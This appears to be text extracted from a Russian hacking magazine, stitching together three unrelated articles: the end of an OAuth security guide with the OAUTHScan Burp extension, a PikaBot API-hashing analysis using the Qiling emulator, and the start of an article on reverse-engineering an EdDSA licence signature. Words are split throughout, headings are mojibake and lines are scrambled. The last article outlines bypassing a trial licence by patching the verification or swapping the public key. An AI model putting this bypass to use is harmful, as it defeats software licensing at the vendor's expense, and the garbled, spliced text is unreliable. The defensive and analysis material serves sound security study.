Сер вер авто риза ции срав нива ет тот ско уп, который при ложе ние ука зало
при регис тра ции, с тем, который исполь зует ся при обме не кода авто риза- 
ции на access-токен.

•

Код авто риза ции дос таточ но длин ный, что бы его нель зя было переб рать
брут форсом.

•

Раз ные веб-при ложе ния, которы ми вла деет один и тот же сер вер ресур- 
сов, про веря ют ско упы токена преж де, чем выдать дан ные.

•

ÀÂÒÎÌÀÒÈÇÀÖÈß

Не сущес тву ет ути литы, которая иска ла бы все опи сан ные выше мис конфи- 
гура ции. Кро ме того, некото рые про вер ки слиш ком слож но авто мати зиро- 
вать. Но для самых рас простра нен ных кей сов сущес тву ет рас ширение
для Burp Suite, которое их пок рыва ет.

Рас ширение для Burp, которое поможет искать баги

OAUTHScan выпол няет про вер ки безопас ности OAuth и OpenID на осно ве
информа ции, которая опи сана в спе цифи каци ях и стать ях, ука зан ных ниже:

;• RFC 6749: The OAuth 2.0 Authorization Framework
;• RFC 6819: OAuth 2.0 Threat Model and Security Considerations

;• RFC 6750: The OAuth 2.0 Authorization Framework: Bearer Token Usage
;• OAuth 2.0 Security Best Current Practice (draft)

;• OAuth 2.0
;• What is OpenID Connect

;• OpenID Connect Core 1.0
 (PortSwigger);• OAuth 2.0 authentication vulnerabilities

 (PortSwigger).• OpenID Connect

Вот непол ный спи сок про верок, которые выпол няет рас ширение:
open redirect в парамет ре ;• redirect_uri

replay-ата ки с кодом авто риза ции;•
утеч ка сек ретов (токенов и кодов);•
неп равиль ная нас трой ка парамет ра ;• nonce

неп равиль ная нас трой ка парамет ра ;• state

об наруже ние OAuth-флоу, которые приз наны небезо пас ными;•
по иск SSRF через параметр ;• request_uri

об наруже ние ресур сов Well-Known и WebFinger.•

Что бы уста новить OAUTHScan, надо кло ниро вать :ре пози торий

git clone https://github.com/PortSwigger/oauth-scan.git 

Те перь перехо дим в пап ку  и собира ем про ект с помощью

.

oauth-scan
gradlew build fatJar

За тем нуж но перей ти в Burp → Extensions, нажать на Add и выб рать соб- 
ранный JAR.

Как заг рузить рас ширение в Burp

Кро ме того, его мож но най ти на вклад ке BApp Store.

Как уста новить рас ширение из магази на

Уч ти, что для при мене ния пла гина нуж на куп ленная вер сия Burp, в которой
работа ет Scanner, а не бес плат ная Community Edition без него.

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Бла года ря гиб кости про токо ла OAuth мож но наделать мно го оши бок. Нес- 
мотря на то что с момен та соз дания пер вой вер сии прош ло мно го вре мени
и уже успе ли появить ся более совер шенные OAuth 2.0 и OpenID, их исполь- 
зование все еще не стра хует от оши бок — и все зависит от раз работ чика,
который пишет конеч ную логику.

Что бы пре дот вра тить уяз вимос ти аутен тифика ции OAuth, как OAuth-про- 
вай деру, так и кли ент ско му при ложе нию необ ходимо реали зовать надеж ную
про вер ку вход ных дан ных, осо бен но парамет ра . Лишь малая
часть спе цифи кации OAuth пос вящена защите, поэто му вся наг рузка ложит ся
на пле чи раз работ чиков.

redirect_uri

Важ но отме тить, что уяз вимос ти могут воз никнуть как на сто роне кли ент- 
ско го при ложе ния, так и на сто роне сер вера авто риза ции и сер вера ресур- 
сов. Даже если твоя реали зация надеж на, это не зна чит, что на том кон це всё
обе зопа сили.

Я перечис лю лишь основные спо собы защитить свое при ложе ние от атак,
которые мы рас смот рели на про тяже нии трех ста тей. В реаль нос ти век торов
нам ного боль ше, и о каж дом мож но было бы написать отдель ный матери ал.

Ñåðâèñ-ïðîâàéäåðàì
Ес ли ты пре дос тавля ешь авто риза цию OAuth или OpenID, вот нес коль ко
полез ных советов, которые защитят тво их поль зовате лей:

Тре буй от кли ент ских при ложе ний регис тра ции белого спис ка допус тимых
. По воз можнос ти исполь зуй стро гое побай товое срав- 

нение для про вер ки URI во всех вхо дящих зап росах. Раз решай толь ко пол- 
ные и точ ные сов падения, а не исполь зуй сопос тавле ние с шаб лоном.
Это поможет защитить ся от некото рых атак с под делкой 
и кра жей токена.

•
redirect_uris

redirect_uri

При нуди тель но исполь зуй параметр . Его зна чение дол жно быть
при вяза но к сеан су поль зовате ля путем вклю чения некото рых неуга дыва- 
емых, спе цифич ных для сеан са дан ных, таких как хеш, содер жащий сеан- 
совый . Это помога ет защитить поль зовате лей от атак типа CSRF
и зна читель но зат руднит зло умыш ленни ку исполь зование любых укра ден- 
ных кодов авто риза ции.

• state

cookie

На сер вере ресур сов убе дись, что токен дос тупа был выдан тому же
, который дела ет зап рос. Советую так же про верять зап- 

рашива емый ско уп, что бы убе дить ся, что он соот ветс тву ет тому же ско упу,
для которо го токен был изна чаль но пре дос тавлен.

•
client_id

Êëèåíòñêèì ïðèëîæåíèÿì
А вот советы на слу чай, если ты пишешь кли ент ское при ложе ние:

Убе дись, что ты пол ностью понима ешь детали работы OAuth, преж де чем
внед рять его. Мно гие уяз вимос ти выз ваны прос тым непони мани ем того,
что имен но про исхо дит на каж дом эта пе и как это может быть потен циаль- 
но исполь зовано.

•

Ис поль зуй параметр , даже если он не явля ется обя затель ным.• state

От прав ляй параметр  не толь ко в эндпо инт 
, но и в .

• redirect_uri /

authorization /token

При раз работ ке мобиль ных или собс твен ных кли ент ских при ложе ний
OAuth для ПК час то невоз можно оста вить  тай ным.
В таких ситу ациях мож но исполь зовать механизм  ( )
для обес печения допол нитель ной защиты от перех вата или утеч ки кода
дос тупа.

•
client_secret

PKCE RFC 7636

Ес ли ты исполь зуешь  в OpenID Connect, убе дись, что он пра- 
виль но про верен в соот ветс твии со спе цифи каци ями JSON Web Signature,
JSON Web Encryption и OpenID.

• id_token

Будь осто рожен с кодами авто риза ции — они могут быть переда ны через
заголов ки  при заг рузке внеш них изоб ражений, скрип тов
или содер жимого CSS. Так же важ но не вклю чать их в динами чес ки генери- 
руемые фай лы JavaScript, пос коль ку они могут выпол нять ся из внеш них
доменов через теги .

•
Referer

<script>

ÂÛÂÎÄÛ

На этом мы закан чива ем цикл из трех ста тей про OAuth. Теперь ты без тру да
смо жешь отве тить на воп росы о том, чем отли чает ся OAuth пер вой вер сии
от вер сии 2.0, почему появил ся OpenID Connect, сколь ко все го было ите- 
раций про токо ла и как это все работа ет.

Бла года ря получен ным зна ниям ты смо жешь сам находить уяз вимос ти
и даже зна ешь, как от них защитить ся. Что бы ничего не забыть, можешь вос- 
поль зовать ся чек-лис том, которой я оста вил в статье, а что бы не тра тить мно- 
го вре мени — рас ширени ями для авто мати зации.

На деюсь, вся инфа была полез на. Я попытал ся соб рать толь ко самое важ- 
ное, но даже так это рас тянулось на нес коль ко час тей.

https://openid.net/specs/openid-connect-registration-1_0.html
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics
https://datatracker.ietf.org/doc/html/rfc6749
https://datatracker.ietf.org/doc/html/rfc6819
https://datatracker.ietf.org/doc/html/rfc6750
https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-09
https://oauth.net/2/
https://openid.net/connect/
https://openid.net/specs/openid-connect-core-1_0.html
https://portswigger.net/web-security/oauth
https://portswigger.net/web-security/oauth/openid
https://github.com/PortSwigger/oauth-scan.git
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ВЗЛОМ

Не дав но мне попал ся вре донос семей ства
PikaBot, и при его изу чении я нат кнул ся
на ста рый, но по-преж нему популяр ный
при ем API Hashing. Он поз воля ет скры вать
воз можнос ти мал вари как от средств
защиты, так и от инс тру мен тов ана лиза.
Сегод ня мы при помощи эму ляции поп- 
робу ем авто мати зиро вать выяв ление фун- 
кций, вызыва емых через API Hashing.

Так как API Hashing (а так же дру гие спо собы сок рытия вре донос ных фун кций)
вре мя от вре мени встре чает ся в моей прак тике, мне захоте лось най ти более
уни вер саль ный спо соб, чем прос то каж дый раз писать скрипт, который
интер пре тиру ет алго ритм хеширо вания име ни API-фун кции Win32 из вре- 
доно са. Я подумал, что эму лятор отлично подой дет для быс тро го решения
этой проб лемы. Давай пос мотрим, что из это го выш ло.

ÊÐÀÒÊÎ ÎÁ API HASHING

Для начала вспом ним, в чем имен но зак люча ется тех ника API Hashing. Вре- 
донос ный код импорти рует фун кции из сис темных биб лиотек путем ана лиза
PE-заголов ка, а точ нее — таб лицы экспор та этих биб лиотек.

Оп ределить API Hashing мож но, как раз отсле живая поиск фун кции по хешу
от ее име ни. То есть мал варь переби рает таб лицу экспор та сис темных либ

 или , хеширу ет имя каж дой фун кции и срав нива ет

с хешем име ни иско мой фун кции. В слу чае сов падения вре донос чита ет
адрес нуж ной фун кции для даль нейше го исполь зования.

ntdll.dll kernel32.dll

Ал горитм под сче та хеша может быть любой: нап ример, час то встре чают ся
CRC-32 или MurmurHash2, а так же любой кас томный алго ритм односто рон- 
него пре обра зова ния, в общем — лишь бы силь но не наг ружать цикл вычис- 
ления хеша.

При таком под ходе фун кции, которые исполь зует мал варь, не будут отра- 
жены ни в таб лице импорта, ни как стро ки в самом бинаре. Это поз воля ет
обой ти некото рые виды анти вирус ного ска ниро вания, поэто му тех никой
до сих пор поль зуют ся вирусо писа тели и чле ны крас ных команд.

INFO

Под робнее об API Hashing читай в статье «

».

Ве- 
селые хеши. Реали зуем тех нику API Hashing, что- 
бы обду рить анти вирус

ÀÍÀËÈÇ ÎÁÐÀÇÖÀ

Мо дуль, который при меня ет API Hashing, я получил, ана лизи руя 
. Если тебе инте рес но, можешь поп робовать самос тоятель но извлечь

семпл или можешь сэконо мить вре мя и .

этот обра зец
PikaBot

ска чать уже извле чен ный
В дизас сем бле ре пер вый при мер API Hashing ты встре тишь по адре су

:0x10011B78

.text:10011B6C    mov   [ebp-24h], eax 

.text:10011B6F    push  0D57B2h 

.text:10011B74    mov   edx, [ebp-24h] 

.text:10011B77    push  edx 

.text:10011B78    call  sub_10012470 

Фун кция  как раз таки реали зует поиск адре са фун кции

по хешу. В дан ном слу чае хеш иско мой фун кции — это зна чение ,

которое кла дет ся на стек тре мя инс трук циями выше. Пер вый же аргу мент
фун кции — адрес биб лиоте ки , который получен в резуль тате

вызова  по адре су .

sub_10012470
0D57B2h

kernel32.dll
sub_10012410 0x10011B64

То есть получа ется, что пер вым аргу мен том переда ется адрес биб лиоте- 
ки, а вто рым — ее хеш. Если ты зна ком с WinAPI, то это силь но напом нит тебе
фун кцию  с той раз ницей, что вто рым аргу мен том переда ется
наз вание фун кции в явном виде, а не хеш от него.

GetProcAddress

Итак, у нас есть хеш и нам нуж но узнать, от наз вания какой фун кции WinAPI
он был получен. Как пра вило, в таких слу чаях для получе ния иско мого наз- 
вания фун кции нуж ны три ингре диен та:
1. Спи сок имен фун кций  и  (мож но добавить

и дру гие либы, но вряд ли они исполь зуют ся на этом эта пе работы мал- 
вари).

kernel32.dll ntdll.dll

2. Ал горитм хеширо вания, реали зован ный на удоб ном нам язы ке (возь мем
любимый все ми Python).

3. Хеш иско мой фун кции.

Ре цепт прос той — переби рать по спис ку все име на фун кций, хешируя их
по интер пре тиро ван ному алго рит му, пока не получим сов падение с иско мым
хешем. Впро чем, это толь ко один из воз можных спо собов, все огра ничи вает- 
ся толь ко тво ей фан тази ей.

Так как наша цель — получить наз вания всех хеширо ван ных фун кций,
не тра тя вре мя на интер пре тацию алго рит ма хеширо вания, мы не будем пог- 
ружать ся в ана лиз механиз ма получе ния адре сов сис темных либ, перебо ра
их экспор та и деталей алго рит ма хеширо вания, а перей дем сра зу к исполь- 
зованию эму ляции.

ÏÐÈÌÅÍÅÍÈÅ ÝÌÓËßÖÈÈ

В качес тве средс тва эму ляции я выб рал спе циали зиро ван ный фрей мворк
, который пос тро ен на движ ке эму ляции . Пос ледний эму лиру ет

раз ные про цес соры, но при этом в нем нет никако го кон тек ста опе раци онной
сис темы, то есть прос то взять и запус тить исполня емые фай лы какой-то ОС
не получит ся.

Qiling Unicorn

При этом мож но взять инте ресу ющий нас набор инс трук ций, опре делить
для них сос тояние исполь зуемых регис тров и учас тков памяти и выпол нить
нуж ный учас ток. Qiling же помога ет исполнить бинарь целиком: он пол ноцен- 
но заг ружа ет файл в эму лятор и обра баты вает все вызовы API и сис колы. Так
мы можем не замора чивать ся вся кими тон костя ми вро де зна чений регис- 
тров. Если, конеч но, исполне ние без нашей помощи дой дет до нуж ного учас- 
тка мал вари, но на началь ных эта пах вет вле ние встре чает ся ред ко, так что
по это му поводу мож но не пережи вать.

Прав да, как ты уви дишь даль ше, сло ва «пол ноцен но заг ружа ет» и «обра- 
баты вает все вызовы API и сис колы» не сов сем соот ветс тву ют дей стви тель- 
нос ти.

Пе рехо дим к прак тике. Напишем скрипт, который будет при помощи Qiling
эму лиро вать мал варь, получать резуль таты поис ка по хешу и пытать ся резол- 
вить их, что бы получить по воз вра щаемо му адре су фун кции ее имя.

Пе ред тем как попытать ся заг рузить какой-нибудь исполня емый файл вин- 
ды в эму лятор, тебе нуж но соб рать сис темные либы и даже реестр
с помощью .скрип та из сос тава Qiling

Для начала поп робу ем прос то заг рузить мал варь в эму лятор:

   from qiling import *
   from qiling.const import *

  ql = Qiling(["./examples/rootfs/x86_windows/163520.exe"],"./examples/
rootfs/x86_windows")

 — это наз вание зна комо го нам бинаря PikaBot.163520.exe
А вот по это му пути хра нят ся наши сис темные либы для x86-вер сии и вет ки

реес тра:

./examples/rootfs/x86_windows 

Ес ли не ука зывать зна чение парамет ра  при объ явле нии объ екта

Qiling, ты уви дишь вывод, который соот ветс тву ет уров ню 
 (можешь пос мотреть ). В нем ука зыва ется, что уда- 

лось и не уда лось заг рузить из сис темных либ и фун кций или най ти в них.

verbose
QL_VERBOSE.

DEFAULT дру гие вари анты

Те перь давай поп робу ем добавить хук на выход из фун кции ,
что бы отсле живать, какие адре са фун кций она воз вра щает. Так же поп робу ем
их резол вить, что бы получить име на. Опре делим фун кцию хука:

sub_10012470

    def hook(ql: Qiling) -> None:
      if ql.arch.regs.read("EAX") in ql.loader.import_symbols:

         entry = ql.loader.import_symbols[ql.arch.regs.read("EAX")]
         print('[!] Founded API: ' + entry['name'].decode("utf-8"))

Как вид но из лис тинга, фун кция при нима ет кон текст эму лято ра, чита ет зна- 
чение регис тра EAX и выводит имя най ден ной фун кции, если зна чение сов- 
пада ет с сим волами сис темных биб лиотек, заг ружен ных в адресное прос- 
транс тво эму лиру емо го про цес са. Так как хукать мы будем выход из фун кции
поис ка хеша, то воз вра щаемое зна чение по всем сог лашени ям о вызове
лежит в EAX, поэто му чита ем мы имен но его.

Так же давай ука жем, какой адрес нам нуж но перех ватывать. В дан ном слу- 
чае фун кция  закан чива ется толь ко по адре су :sub_10012470 0x1001251A

 ql.hook_address(hook, 0x1001251A)

Ну и еще желатель но опре делить адрес, на котором эму ляция завер шится,
что бы не ждать, пока мал варь пол ностью отра бота ет или мы пой маем ошиб ку
эму ляции на каком-то из эта пов работы мал вари.

В нашем образце PikaBot пос ледний вызов фун кции API Hashing про исхо- 
дит по адре су  (можешь про верить это через xref
на ), пос ле чего мал варь уже работа ет с получен ными адре- 

сами (нап ример, по адре су ):

0x10011C1A
sub_10012470

0x10011C39

.text:10011C0B    add   esp, 8 

.text:10011C0E    mov   [ebp-74h], eax 

.text:10011C11    push  348BFAh 

.text:10011C16    mov   ecx, [ebp-24h] 

.text:10011C19    push  ecx 

.text:10011C1A    call  sub_10012470 

.text:10011C1F    add   esp, 8 

.text:10011C22    mov   [ebp-5Ch], eax 

.text:10011C25    mov   dword ptr [ebp-48h], 31000h 

.text:10011C2C    push  4 

.text:10011C2E    push  3000h 

.text:10011C33    mov   edx, [ebp-48h] 

.text:10011C36    push  edx 

.text:10011C37    push  0 

.text:10011C39    call  dword ptr [ebp-4Ch] 

Кста ти, если тебе при ходи лось ана лизи ровать вин довую мал варь, ты рас- 
позна ешь в обра щении к загадоч ной фун кции по адре су  пат терн

вызова . Самые при мет ные кон стан ты —  и , которые

переда ются как тре тий и чет вертый аргу мен ты (
и ). У меня есть , который пыта ется най- 

ти по таким пат тернам вызовы популяр ных у вирусо писа телей фун кций
WinAPI, что тоже упро щает ана лиз вре доно сов.

0x10011C39
VirtualAlloc 0x3000h 0x4h

flAllocationType
flProtect пла гин для дизас сем бле ра

Итак, мы опре дели лись, что даль ше адре са  эму лиро вать
смыс ла нет, так что ука жем этот адрес в качес тве кон ца эму ляции:

0x10011C1F

ql.run(end=0x10011C1F)

Ес ли ты поп робу ешь запус тить написан ный нами скрипт, то, ско рее все го,
стол кнешь ся с ошиб кой:

 
 
 
[x]     Could not find DLL file 
 
 
[=]     LoadLibraryW(lpLibFileName = "sc.exe") = 0x0 
 
 

Òðóäíîñòè ïðè ýìóëÿöèè
Не уже ли эта ошиб ка спо соб на пошат нуть нашу веру в воз можность лег кого
и быс тро го ана лиза мал вари? При чина проб лемы в том, что по адре су

 эму лятор пыта ется заг рузить  как биб лиоте ку при помощи

пер вой получен ной через API Hashing фун кции  (ты уви дишь ее

в выводе перед ошиб кой). При этом такого бинаря в кон тек сте эму лято ра нет,
поэто му можем его ско пиро вать из  (для x64 прос то из )
вот сюда:

0x10011BDB sc.exe
LoadLibraryW

SysWOW64 System32

./examples/rootfs/x86_windows/Windows/System32 

Сог ласно ,  будет искать бинарь

в том чис ле в .

по ряд ку поис ка биб лиотек LoadLibraryW
System32

Про буем запус тить еще раз. И сно ва ты, ско рее все го, нат кнешь ся
на ошиб ку, на этот раз выг лядеть она дол жна так:

 
 
[x]     'PE' object has no attribute 'DIRECTORY_ENTRY_EXPORT'
 

Де ло в том, что у Qiling своя реали зация заг рузки биб лиоте ки, то есть, ког да
исполне ние доходит до , эму лятор самос тоятель но пыта- 

ется заг рузить ука зан ную биб лиоте ку. Фрей мворк заг ружа ет ее в 
, а ана лиз таб лицы экспор та про исхо дит в , но,

так как у  нет экспор та, эму лятор ловит ошиб ку.

LoadLibrary(A/W)
фай ле

pe.py том же фай ле чуть ниже
sc.exe

Са мое прос тое, что мож но сде лать, — это обер нуть цикл в конс трук цию
try-except:

try:
    for sym in dll.DIRECTORY_ENTRY_EXPORT.symbols:
       ea = image_base + sym.address

     import_symbols[ea] = {
        'name' : sym.name,

       'ordinal' : sym.ordinal,
         'dll' : dll_name.split('.')[0]

   }

    if sym.name:
       import_table[sym.name] = ea

     import_table[sym.ordinal] = ea
       cmdline_entry = self.set_cmdline(sym.name, sym.address, data)

    if cmdline_entry:
     cmdlines.append(cmdline_entry)
except:
 pass

Еще, нап ример, ты можешь в самом скрип те эму ляции добавить хук, который
будет менять EIP на сле дующий за проб лемным учас тком код. То есть прос то
не исполнять инс трук ции, которые вызыва ют заг рузку  в иссле дуемом

образце PikaBot.

sc.exe

Итак, мы нем ножко поп равили исходни ки Qiling кон крет но под выб ранную
мал варь. Безус ловно, это кос тыль.

За пус тим еще раз, теперь все отра бота ло в соот ветс твии с нашими ожи- 
дани ями, и мы зна ем, адре са каких фун кций мал варь получа ет в резуль тате
при мене ния API Hashing:

 
 
 
[!] Founded API: LoadLibraryW 
 
 
[=]     Loading sc.exe ... 
 
 
[=]     Done loading sc.exe 
 
 
[=]     LoadLibraryW(lpLibFileName = "sc.exe") = 0x400000 
 
 
[!] Founded API: VirtualAlloc 
 
 
[!] Founded API: LoadLibraryA 
 
 
[!] Founded API: GetProcAddress 
 
 

ÂÛÂÎÄÛ

Мак сималь но прос той скрипт, который мы с тобой под готови ли, мож но
исполь зовать каж дый раз, ког да вре донос пыта ется скрыт но исполь зовать
фун кции WinAPI, необ ходимые для его успешной работы.

Но, как ты понима ешь, ана лиз API Hashing — это толь ко малая часть задач,
которые мож но решать с помощью эму ляции при ана лизе мал вари. В пер вую
оче редь эму ляция при годит ся, ког да вре мени на иссле дова ние алго рит мов
нет, но нуж но пос мотреть учас тки, которые скры ты при ста тичес ком ана лизе.

В общем, все, как всег да, огра ниче но толь ко тво ей фан тази ей! И еще сов- 
сем нем ного — воз можнос тями самих эму лято ров.

https://xakep.ru/2023/10/06/api-hashing/
https://bazaar.abuse.ch/sample/d26ab01b293b2d439a20d1dffc02a5c9f2523446d811192836e26d370a34d1b4/
https://bazaar.abuse.ch/sample/7b1c5147c903892f8888f91c98097c89e419ddcc89958a33e294e6dd192b6d4e/
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
https://github.com/qilingframework/qiling
https://www.unicorn-engine.org/
https://github.com/qilingframework/qiling/blob/9a78d186c97d6ff42d7df31155dda2cd9e1a7fe3/examples/scripts/dllscollector.bat#L4
https://github.com/qilingframework/qiling/blob/9a78d186c97d6ff42d7df31155dda2cd9e1a7fe3/qiling/const.py#L42
https://learn.microsoft.com/ru-ru/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://github.com/RemaLaCrema/can_I_guess
https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
https://github.com/qilingframework/qiling/blob/9a78d186c97d6ff42d7df31155dda2cd9e1a7fe3/qiling/loader/pe.py#L109
https://github.com/qilingframework/qiling/blob/9a78d186c97d6ff42d7df31155dda2cd9e1a7fe3/qiling/loader/pe.py#L203


МВК

ВЗЛОМ

В сегод няшней статье я хочу помучить тебя
самым ненавис тным для некото рых сту ден- 
тов пред метом — выс шей матема тикой.
А имен но рас ска зать о рас простра нен ном,
но мало извес тном алго рит ме крип топод- 
писи EdDSA + SHA-512.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для иссле дова телей безопас ности
и спе циалис тов по раз работ ке защиты прог рам- 
мно го обес печения. Автор и редак ция не несут
ответс твен ности за любой вред, при чинен ный
с при мене нием изло жен ной информа ции.
Наруше ние автор ских прав и патен тно го законо- 
датель ства, рас простра нение кон тра фак тно го
ПО и наруше ние работы сис тем прес леду ются
по закону.

Каж дый ува жающий себя хакер прос то обя зан знать вра га в лицо и раз- 
бирать ся в основных крип тоал горит мах, популяр ных и не очень. Так, крип- 
топод пись EdDSA, нес мотря на доволь но широкое исполь зование (I2P,
OpenBSD, OpenSSH и так далее), в отли чие от сво ей эллипти чес кой сес тры
EcDSA силь но обде лена реали заци ями в стан дар тных крип тобиб лиоте ках. Ее
мож но най ти раз ве что в узкоспе цифи чес ких про ектах типа NaCl, SUPERCOP,
python-ed25519 и про чей экзо тике.

Слож ностей добав ляет и то, что по упо мяну той при чине каж дый автор
реали зует хеширо вание, а так же генера цию клю чей и сиг натур по-сво ему.
Поэто му я и решил попод робнее рас ска зать об алго рит ме EdDSA, при чем
имен но с прак тичес кой точ ки зре ния. Мы раз берем реали зацию и работу
этой под писи на кон крет ном при мере.

ÏÐÅÄÌÅÒ ÈÑÑËÅÄÎÂÀÍÈß

Пред метом нашего иссле дова ния ста нет некое при ложе ние, при пер вом
запус ке ска чива ющее три аль ную лицен зию с сер вера. Пос ле нес ложных
телод вижений в ProcMon ска чан ная лицен зия бла гопо луч но обна ружи вает ся
в реес тре.

Ка жет ся, что все в ней прек расно: в понят ном тек сто вом виде хра нит ся и вер- 
сия, и ID обо рудо вания, а так же вре мя начала и кон ца сро ка дей ствия в мил- 
лисекун дах. Мож но сме ло пра вить и поль зовать ся! Но нет, в кон це мы обна- 
ружи ваем поле с нед вусмыс ленным име нем , где в шес тнад- 
цатерич ном виде закоди рован некий 64-бай товый (512-бит ный) блок дан ных.

signature

F8 BF BA E3 73 E5 AC 75 3F 38 AC DA F2 0C 42 B1 80 0C 18 A0 BF 92 8F 
39 5C B1 A1 8E 2E E7 47 62 
F1 3A E7 94 2A 5F 61 6D 97 5F 76 5B FD 82 B6 58 A0 D7 4C 07 3B 7E 61 
A1 B3 85 75 62 93 94 90 06 

Дей стви тель но ли это сиг натура или под пись тек сто вых дан ных лицен зии,
про верить эле мен тарно: замена любого бай та в тек сто вой час ти или в самой
сиг натуре дела ет лицен зию невалид ной, и прог рамма немед ленно кида ется
пов торно ска чивать ее с уда лен ного сер вера. Пер вый 512-бит ный хеш,
который при ходит в голову, — это SHA-512, его наличие под твержда ет и прог- 
рамма Krypto Analyzer, если скор мить ей наш исполня емый модуль.

То, что это не слу чай ный набор бай тов, а реаль ная ини циали зация под сче та
хеша SHA-512, нам под твержда ет и IDA, в которой мы откры ваем код при- 
ложе ния по любез но пре дос тавлен ному нам ана лиза тором адре су.

Од нако счастье ока зыва ется не так близ ко, как кажет ся: пос читан ная кон- 
троль ная сум ма SHA-512 совер шенно не похожа на зна чение ,

а зна чит, для под писи не годит ся. Под пись счи тает ся каким-то иным спо- 
собом.

signature

Поп робу ем коп нуть с дру гой сто роны: най ти про вер ку под писи в отладчи- 
ке. Заг ружа ем нашу прог рамму в x64dbg и ищем про вер ку под писи. Прог- 
рамма написа на на чис том C++, ничем не защище на и сво бод на от анти- 
отладчи ков, поэто му иско мое мес то находит ся эле мен тарно, в псев докоде
IDA оно выг лядит так.

Будь мы чуть более ленивы ми, то закоро тили бы эту фун кцию на 

(да, при успешной верифи кации она воз вра щает имен но 0) и успо коились бы,
но тог да смыс ла писать эту статью не было бы никако го. Поп робу ем все-таки
разоб рать ся, как устро ена сиг натура и как она верифи циру ется.

return 0

Оче вид но, что финаль ную про вер ку выпол няет фун кция ,

которая слож ным и неп рямым спо собом срав нива ет на тож дес твен ное
равенс тво две 32-бай товые пос ледова тель нос ти. Пер вую из них IDA-шный
деком пилятор условно обзы вает a1 + 8. Она пред став ляет собой пер- 
вые 32 бай та сиг натуры, то есть в нашем слу чае выг лядит так:

sub_14000517D

F8 BF BA E3 73 E5 AC 75 3F 38 AC DA F2 0C 42 B1 80 0C 18 A0 BF 92 8F 
39 5C B1 A1 8E 2E E7 47 62 

Вто рая пос ледова тель ность вычис ляет ся фун кци ей  и условно

называ ется a1 + 104. Оста вим пока без вни мания тре вож ный зво ночек
«почему про веря ется толь ко пер вая полови на сиг натуры, зачем тог да вто- 
рая?» и тупо поп робу ем перепод писать лицен зию зна чени ем a1 + 104. То
есть меня ем в тек сто вой час ти лицен зии любой байт, ста вим точ ку оста нова
на про вер ку, берем новое зна чение a1 + 104 и под став ляем его вмес то пер- 
вых 32 байт сиг натуры.

sub_1401155E0

План кажет ся надеж ным, как швей цар ские часы, но он не работа ет: пос ле
замены пер вой полови ны сиг натуры зна чение a1 + 104 сно ва меня ется.
Это озна чает, что пер вая полови на сиг натуры вхо дит в обе час ти это го крип- 
тоурав нения. Вто рая полови на сиг натуры тоже находит ся доволь но быс тро —
она под условным име нем a1 + 40 явля ется аргу мен том фун кций

 и  в цепоч ке весь ма голово лом ного рас чета

про вероч ного зна чения a1 + 104.

sub_1401162C0 sub_140114D30

Поп робу ем все-таки опоз нать крип тоал горитм. Потыкав шись по фун кци- 
ям, ничего харак терно го не обна ружи ваем, лишь какие-то дол гие, лома ющие
мозг вычис ления, напоми нающие опе рации с BigInteger, коими они, оче вид- 
но, и явля ются. Самой пер спек тивной в этом пла не пред став ляет ся фун кция

.sub_1401161B0

По мимо того что она визу аль но кра сива и инту итив но понят на, эта фун кция
содер жит мас су вол шебных цифр. Собс твен но, ее смысл зак люча ется в том,
что она воз вра щает стар шие 32 бита сум мы вто рой полови ны сиг натуры a1 +
40 и неко его магичес кого 256-бит ного чис ла:

EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEB2106215D086329A7ED9CE5A30A2C13 

При чем, если резуль тат будет ненуле вой, сиг натура приз нает ся негод ной.
Само чис ло нам ни о чем не говорит и ниг де в интерне те не упо мина ется,
одна ко если пред положить, что про веря ется имен но не пре выше ние зна- 
чения, обратно го это му чис лу, а имен но 

,
то пазл начина ет скла дывать ся.
1000000000000000000000000000000014def9dea2f79cd65812631a5cf5d3ed

1000000000000000000000000000000014def9dea2f79cd65812631a5cf5d3ed 

Ес ли перевес ти млад шую часть это го зна чения в десятич ный вид, мы получим

27742317777372353535851937790883648493 

А это доволь но извес тная кон стан та! При чем извес тная имен но в таком
сочета нии — в виде сум мы с двой кой в 252-й сте пени (2^252 + эта кон стан- 
та). Это так называ емый порядок (order) базовой точ ки кри вой Эдвар дса,
исполь зующей ся крип тоал горит мом EdDSA.

Вот мы и подош ли к глав ной цели нашего повес тво вания. Как и обе щал
с самого начала, я не буду силь но заг ружать тебя матема тичес кой теорией
эллипти чес кой крип тогра фии и осо бен ностя ми реали зации этих самых кри- 
вых Эдвар дса.

WWW

Же лающие могут самос тоятель но вка тить ся в эту
увле катель ную тему на , чуть менее под- 
робно, но более доход чиво тема опи сана
на  и в   .

Ви ки

xmr.ru цик ле ста тей на Хаб ре
На конец, для сов сем прод винутых отлични ков

дос тупна  по 
.

ан гло языч ная литера тура ис поль- 
зованию кри вых Эдвар дса в крип тогра фии

Для всех тех, кому читать всю эту теорию лень и неин терес но, поп робую объ- 
яснить суть задачи на паль цах, что бы хотя бы базовые прин ципы даль нейше го
обсужде ния ста ли ясны.

Нач ну с самого глав ного и весь ма прис кор бно го фак та: эллипти чес кая
крип тогра фия асим метрич на. Те, кто уже стал кивались, нап ример, с RSA,
зна ют, что это такое: для каж дой под писи есть два клю ча. Один (зак рытый,
сек ретный) — у раз работ чика, с помощью это го клю ча он и фор миру ет под- 
пись. И откры тый (пуб личный) — у поль зовате ля, который про веря ет этим
клю чом валид ность под писи. Сде лано это для того, что бы ты никак не смог
под делать под пись на изме нен ной лицен зии. Как это ни грус тно зву чит,
в нашем при мере мы тоже не смо жем это го сде лать при всем желании.

Од нако мы можем соз дать собс твен ную под пись, сге нери ровав пару клю- 
чей и под менив пуб личный ключ в при ложе нии сво им. Не буду объ яснять, чем
патч пуб лично го клю ча луч ше гораз до более прос того пат ча верифи кации
сиг натуры, ведь наше иссле дова ние прес леду ет не вре донос ную, а чис то
поз наватель ную цель.

Итак, поп робу ем разоб рать ся в алго рит ме про вер ки под писи, сге нери- 
ровать свою пару клю чей, най ти в нашем при ложе нии пуб личный ключ и,
поменяв его, перепод писать лицен зию новой под писью.

Продолжение статьи →

https://ru.wikipedia.org/wiki/EdDSA
https://wiki.xmr.ru/cryptography/asymmetric/edwards25519.html
https://habr.com/ru/articles/247873/
